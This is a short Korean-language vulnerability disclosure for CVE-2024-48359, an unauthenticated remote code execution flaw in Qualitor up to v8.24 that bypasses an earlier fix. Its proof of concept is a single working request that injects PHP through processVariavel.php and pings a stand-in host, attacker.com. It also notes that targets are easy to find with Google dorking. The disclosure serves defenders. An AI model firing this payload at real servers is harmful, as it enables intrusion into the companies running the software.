CVE-2024-48359 - Qualitor <= v8.24 인증 없이 가능한 RCE PoC

CVE-2024-48359 | Qualitor <= v8.24 RCE

설명

Qualitor는 비즈니스 프로세스 관리 플랫폼이며, 이 시스템은 Google dorking만으로도 쉽게 식별할 수 있는 브라질의 다양한 기업에 존재합니다.

저희 팀은 원격 코드 실행(RCE)에 취약한 애플리케이션의 취약점을 식별했으며, 이를 통해 시스템 명령을 원격으로 실행할 수 있습니다.

이는 CVE-2023-47253 수정 사항에 대한 우회입니다.

개념 증명 (POC)

processVariavel.php 페이지에 PHP 코드를 전송하기만 하면 됩니다. 예: /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=nl2br(stream_get_contents(popen('ping attacker.com', 'r')));

연구자

https://www.linkedin.com/in/xvinicius/

https://www.linkedin.com/in/hairrison-wenning-4631a4124/

• OpenXP Research Team